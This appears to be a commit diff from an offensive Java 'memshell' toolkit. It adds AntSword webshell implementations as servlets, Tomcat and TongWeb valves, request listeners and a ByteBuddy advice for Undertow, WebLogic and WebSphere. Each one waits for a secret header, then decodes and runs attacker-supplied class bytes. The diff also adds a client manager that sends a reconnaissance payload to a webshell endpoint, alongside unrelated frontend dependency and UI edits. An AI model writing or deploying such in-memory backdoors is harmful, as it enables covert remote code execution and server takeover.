defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
Object instance = payload.newInstance();
instance.equals(new Object[]{request, response});
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
@@ -0,0 +1,85 @@
package com.reajason.javaweb.memshell.shelltool.antsword;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordServlet extends ClassLoader implements Servlet {
public static String pass;
public static String headerName;
public static String headerValue;
@Override
@SuppressWarnings("all")
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordServlet(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
}
} catch (Exception ignored) {
}
}
@Override
public String getServletInfo() {
return "";
}
@Override
public void destroy() {
}
public AntSwordServlet() {
}
public AntSwordServlet(ClassLoader parent) {
super(parent);
}
@SuppressWarnings("all")
public Class<?> g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@Override
public void init(ServletConfig config) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
}
@@ -0,0 +1,88 @@
package com.reajason.javaweb.memshell.shelltool.antsword;
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.servlet.ServletException;
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordValve extends ClassLoader implements Valve {
public static String pass;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
public AntSwordValve() {
}
public AntSwordValve(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public Class g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
@SuppressWarnings("all")
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
}
@@ -0,0 +1,105 @@
package com.reajason.javaweb.memshell.tomcat.antsword;
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
public static String pass;
public static String headerName;
public static String headerValue;
public AntSwordListener() {
}
public AntSwordListener(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("deprecation")
public Class<?> g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
@SuppressWarnings("all")
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
} catch (Exception e) {
response = (HttpServletResponse) getFieldValue(request, "response");
}
return response;
}
}
@@ -0,0 +1,99 @@
package com.reajason.javaweb.memshell.tongweb.antsword;
import com.tongweb.web.thor.Valve;
import com.tongweb.web.thor.comet.CometEvent;
import com.tongweb.web.thor.connector.Request;
import com.tongweb.web.thor.connector.Response;
import javax.servlet.ServletException;
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordValve6 extends ClassLoader implements Valve {
public static String pass;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
public AntSwordValve6() {
}
public AntSwordValve6(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public Class g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public String getInfo() {
return "";
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
@SuppressWarnings("all")
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordValve6(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
@Override
public void event(Request var1, Response var2, CometEvent var3) throws IOException, ServletException {
}
}
@@ -0,0 +1,88 @@
package com.reajason.javaweb.memshell.tongweb.antsword;
import com.tongweb.catalina.Valve;
import com.tongweb.catalina.connector.Request;
import com.tongweb.catalina.connector.Response;
import javax.servlet.ServletException;
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordValve7 extends ClassLoader implements Valve {
public static String pass;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
public AntSwordValve7() {
}
public AntSwordValve7(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public Class g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
@SuppressWarnings("all")
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordValve7(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
}
@@ -0,0 +1,102 @@
package com.reajason.javaweb.memshell.undertow.antsword;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
public static String pass;
public static String headerName;
public static String headerValue;
public AntSwordListener() {
}
public AntSwordListener(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("deprecation")
public Class<?> g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
@SuppressWarnings("all")
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
Map<?, ?> map = (Map<?, ?>) getFieldValue(getFieldValue(request, "exchange"), "attachments");
Object[] keys = map.keySet().toArray();
for (Object key : keys) {
if (map.get(key).toString().contains("ServletRequestContext")) {
response = (HttpServletResponse) getFieldValue(map.get(key), "servletResponse");
break;
}
}
return response;
}
}
@@ -0,0 +1,55 @@
package com.reajason.javaweb.memshell.undertow.antsword;
import net.bytebuddy.asm.Advice;
import java.lang.reflect.Method;
/**
* @author ReaJason
*/
public class AntSwordServletInitialHandlerAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.AllArguments Object[] args
) {
String pass = "pass";
String headerName = "headerName";
String headerValue = "headerValue";
try {
Object servletRequestContext = null;
if (args.length == 2) {
servletRequestContext = args[1];
} else {
servletRequestContext = args[2];
}
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null
&& value.contains(headerValue)) {
byte[] data = null;
Class<?> base64;
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
try {
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.newInstance();
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
}
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
Object instance = payload.newInstance();
instance.equals(new Object[]{request, response});
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
@@ -0,0 +1,99 @@
package com.reajason.javaweb.memshell.weblogic.antsword;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
public static String pass;
public static String headerName;
public static String headerValue;
public AntSwordListener() {
}
public AntSwordListener(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("deprecation")
public Class<?> g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
@SuppressWarnings("all")
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
} catch (Exception e) {
response = (HttpServletResponse) getFieldValue(request, "response");
}
return response;
}
}
@@ -0,0 +1,92 @@
package com.reajason.javaweb.memshell.websphere.antsword;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
public static String pass;
public static String headerName;
public static String headerValue;
public AntSwordListener() {
}
public AntSwordListener(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("deprecation")
public Class<?> g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
@SuppressWarnings("all")
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
return (HttpServletResponse) getFieldValue(getFieldValue(request, "_connContext"), "_response");
}
}
+33
View File
@@ -0,0 +1,33 @@
plugins {
id "io.freefair.lombok" version "8.11"
}
group = 'com.reajason.javaweb.tools'
version = rootProject.version
java {
toolchain {
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
dependencies {
implementation project(":common")
implementation 'net.bytebuddy:byte-buddy'
implementation 'javax.servlet:javax.servlet-api'
implementation 'commons-io:commons-io'
implementation 'org.apache.commons:commons-lang3'
implementation 'commons-codec:commons-codec'
implementation 'com.squareup.okhttp3:okhttp'
implementation 'com.alibaba.fastjson2:fastjson2'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
test {
useJUnitPlatform()
}
@@ -0,0 +1,88 @@
package com.reajason.javaweb.antsword;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import lombok.Data;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.ClassFileVersion;
import net.bytebuddy.jar.asm.Opcodes;
import okhttp3.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2025/1/23
*/
@Data
public class AntSwordManager {
private final OkHttpClient client;
private String entrypoint;
private String pass;
private Map<String, String> headers = new HashMap<>();
public AntSwordManager() {
this.client = new OkHttpClient.Builder().build();
}
@SneakyThrows
public String getInfo() {
byte[] bytes = new ByteBuddy(ClassFileVersion.JAVA_V6).redefine(Info.class)
.name(Utils.getRandomClassName(Info.class.getName()))
.visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
.make().getBytes();
String base64String = Base64.getEncoder().encodeToString(bytes);
RequestBody requestBody = new FormBody.Builder()
.add(this.pass, base64String)
.add("j4677eff439969", "wO")
.build();
Request.Builder builder = new Request.Builder()
.url(this.entrypoint)
.post(requestBody)
.headers(Headers.of(this.headers));
try (Response response = client.newCall(builder.build()).execute()) {
return response.body().string();
} catch (Exception ignored) {
}
return "";
}
public static AntSwordManager.AntSwordManagerBuilder builder() {
return new AntSwordManager.AntSwordManagerBuilder();
}
public static class AntSwordManagerBuilder {
private final Map<String, String> headers = new HashMap<>();
private String entrypoint;
private String pass;
public AntSwordManager.AntSwordManagerBuilder entrypoint(String entrypoint) {
this.entrypoint = entrypoint;
return this;
}
public AntSwordManager.AntSwordManagerBuilder pass(String pass) {
this.pass = pass;
return this;
}
public AntSwordManager.AntSwordManagerBuilder header(String key, String value) {
this.headers.put(key, value);
return this;
}
public AntSwordManager build() {
AntSwordManager manager = new AntSwordManager();
manager.setPass(pass);
manager.setEntrypoint(entrypoint);
Map<String, String> headers = new HashMap<>(16);
headers.put("Content-Type", "application/x-www-form-urlencoded");
headers.putAll(this.headers);
manager.setHeaders(headers);
return manager;
}
}
}
@@ -0,0 +1,150 @@
package com.reajason.javaweb.antsword;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Info {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String encoder = "base64";
public String cs = "UTF8";
public String randomPrefix = "2";
public String decoderClassdata;
public Info() {
}
public boolean equals(Object var1) {
this.parseObj(var1);
StringBuffer var2 = new StringBuffer();
String var3 = "2f9d7d";
String var4 = "2d5c21ab2c35";
String var5 = "j4677eff439969";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
this.decoderClassdata = this.decode(this.request.getParameter(var5));
var2.append(this.SysInfoCode());
} catch (Exception var8) {
var2.append("ERROR:// " + var8.toString());
}
try {
this.response.getWriter().print(var3 + this.asoutput(var2.toString()) + var4);
} catch (Exception var7) {
}
return true;
}
String SysInfoCode() {
String var1 = System.getProperty("user.dir");
String var2 = System.getProperty("os.name");
String var3 = System.getProperty("user.name");
String var4 = this.WwwRootPathCode(var1);
return var1 + " ok " + "\t" + var4 + "\t" + var2 + "\t" + var3;
}
String WwwRootPathCode(String var1) {
StringBuilder var2 = new StringBuilder();
if (!var1.startsWith("/")) {
try {
File[] var3 = File.listRoots();
for(File var7 : var3) {
var2.append(var7.toString(), 0, 2);
}
} catch (Exception var8) {
var2.append("/");
}
} else {
var2.append("/");
}
return var2.toString();
}
public void parseObj(Object var1) {
if (var1.getClass().isArray()) {
Object[] var2 = (Object[]) var1;
this.request = (HttpServletRequest)var2[0];
this.response = (HttpServletResponse)var2[1];
} else {
try {
Class var9 = Class.forName("javax.servlet.jsp.PageContext");
this.request = (HttpServletRequest)var9.getDeclaredMethod("getRequest").invoke(var1);
this.response = (HttpServletResponse)var9.getDeclaredMethod("getResponse").invoke(var1);
} catch (Exception var8) {
if (var1 instanceof HttpServletRequest) {
this.request = (HttpServletRequest)var1;
try {
Field var3 = this.request.getClass().getDeclaredField("request");
var3.setAccessible(true);
HttpServletRequest var4 = (HttpServletRequest)var3.get(this.request);
Field var5 = var4.getClass().getDeclaredField("response");
var5.setAccessible(true);
this.response = (HttpServletResponse)var5.get(var4);
} catch (Exception var7) {
try {
this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(var1);
} catch (Exception var6) {
}
}
}
}
}
}
public String asoutput(String var1) {
try {
byte[] var2 = this.Base64DecodeToByte(this.decoderClassdata);
Method var3 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
var3.setAccessible(true);
Class var4 = (Class)var3.invoke(this.getClass().getClassLoader(), var2, 0, var2.length);
return var4.getConstructor(String.class).newInstance(var1).toString();
} catch (Exception var5) {
return var1;
}
}
String decode(String var1) throws Exception {
int var2 = 0;
try {
var2 = Integer.parseInt(this.randomPrefix);
var1 = var1.substring(var2);
} catch (Exception var4) {
var2 = 0;
}
return this.encoder.equals("base64") ? new String(this.Base64DecodeToByte(var1), this.cs) : var1;
}
public byte[] Base64DecodeToByte(String var1) {
Object var2 = null;
String var3 = System.getProperty("java.version");
try {
byte[] var7;
if (var3.compareTo("1.9") >= 0) {
Class var4 = Class.forName("java.util.Base64");
Object var5 = var4.getMethod("getDecoder").invoke((Object)null);
var7 = (byte[])var5.getClass().getMethod("decode", String.class).invoke(var5, var1);
} else {
Class var8 = Class.forName("sun.misc.BASE64Decoder");
var7 = (byte[])var8.getMethod("decodeBuffer", String.class).invoke(var8.newInstance(), var1);
}
return var7;
} catch (Exception var6) {
return new byte[0];
}
}
}
@@ -0,0 +1,41 @@
package com.reajason.javaweb.antsword;
import java.util.Random;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class Utils {
public static String getRandomAlpha(int length) {
String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
Random random = new Random();
StringBuilder sb = new StringBuilder();
for (int i = 0; i < length; ++i) {
int number = random.nextInt(52);
sb.append(str.charAt(number));
}
return sb.toString();
}
public static String getRandomClassName(String sourceName) {
String[] domainAs = new String[]{"com", "net", "org", "sun"};
String domainB = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
String domainC = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
String domainD = getRandomAlpha((new Random()).nextInt(5) + 3).toLowerCase();
String className = getRandomAlpha((new Random()).nextInt(7) + 4);
className = className.substring(0, 1).toUpperCase() + className.substring(1).toLowerCase();
int domainAIndex = (new Random()).nextInt(4);
String domainA = domainAs[domainAIndex];
int randomSegments = (new Random()).nextInt(3) + 3;
if (randomSegments == 3) {
return domainA + "." + domainB + "." + className;
} else if (randomSegments == 4) {
return domainA + "." + domainB + "." + domainC + "." + className;
} else {
return domainA + "." + domainB + "." + domainC + "." + className;
}
}
}
@@ -0,0 +1,20 @@
package com.reajason.javaweb.antsword;
import org.junit.jupiter.api.Disabled;
import org.junit.jupiter.api.Test;
/**
* @author ReaJason
* @since 2025/2/18
*/
class AntSwordManagerTest {
@Test
@Disabled("only for local test")
void test() {
AntSwordManager antSwordManager = AntSwordManager.builder()
.pass("ant")
.entrypoint("http://localhost:8082/app/ant.jsp").build();
System.out.println(antSwordManager.getInfo());
}
}
BIN
View File
Binary file not shown.
+8 -8
View File
@@ -13,10 +13,10 @@
},
"devDependencies": {
"@biomejs/biome": "1.9.4",
"@tanstack/router-plugin": "^1.104.1",
"@tanstack/router-plugin": "^1.105.0",
"@types/node": "^22.13.4",
"@types/react": "^19.0.8",
"@types/react-dom": "^19.0.3",
"@types/react": "^19.0.10",
"@types/react-dom": "^19.0.4",
"@vitejs/plugin-react": "^4.3.4",
"@types/react-copy-to-clipboard": "^5.0.7",
"@types/react-syntax-highlighter": "^15.5.13",
@@ -25,7 +25,7 @@
"vite": "^6.1.0"
},
"dependencies": {
"@hookform/resolvers": "^4.0.0",
"@hookform/resolvers": "^4.1.0",
"@radix-ui/react-alert-dialog": "^1.1.6",
"@radix-ui/react-checkbox": "^1.1.4",
"@radix-ui/react-dropdown-menu": "^2.1.6",
@@ -38,9 +38,9 @@
"@radix-ui/react-tabs": "^1.1.3",
"@radix-ui/react-tooltip": "^1.1.8",
"@tailwindcss/vite": "^4.0.6",
"@tanstack/react-query": "^5.66.0",
"@tanstack/react-router": "^1.104.1",
"@tanstack/router-devtools": "^1.104.3",
"@tanstack/react-query": "^5.66.7",
"@tanstack/react-router": "^1.105.0",
"@tanstack/router-devtools": "^1.105.0",
"class-variance-authority": "^0.7.1",
"clsx": "^2.1.1",
"i18next": "^24.2.2",
@@ -49,7 +49,7 @@
"react-copy-to-clipboard": "^5.1.0",
"react-dom": "^19.0.0",
"react-hook-form": "^7.54.2",
"react-i18next": "^15.4.0",
"react-i18next": "^15.4.1",
"react-syntax-highlighter": "^15.6.1",
"sonner": "^1.7.4",
"tailwind-merge": "^3.0.1",
+62 -25
View File
@@ -136,7 +136,7 @@ export function MainConfigCard({
name="server"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel>{t("mainConfig.server")}</FormLabel>
<FormLabel className="h-6 flex items-center">{t("mainConfig.server")}</FormLabel>
<Select
onValueChange={(v) => {
field.onChange(v);
@@ -176,10 +176,10 @@ export function MainConfigCard({
control={form.control}
name="targetJdkVersion"
render={({ field }) => (
<FormItem className="flex flex-col mt-1">
<Label className="flex items-center">
<FormItem className="space-y-1">
<FormLabel className="h-6 flex items-center gap-1">
{t("mainConfig.jre")} {t("optional")} <JreTip />
</Label>
</FormLabel>
<Select
onValueChange={(v) => {
if (Number.parseInt(v) >= 53) {
@@ -255,7 +255,7 @@ export function MainConfigCard({
<BehinderTabContent form={form} shellTypes={shellTypes} />
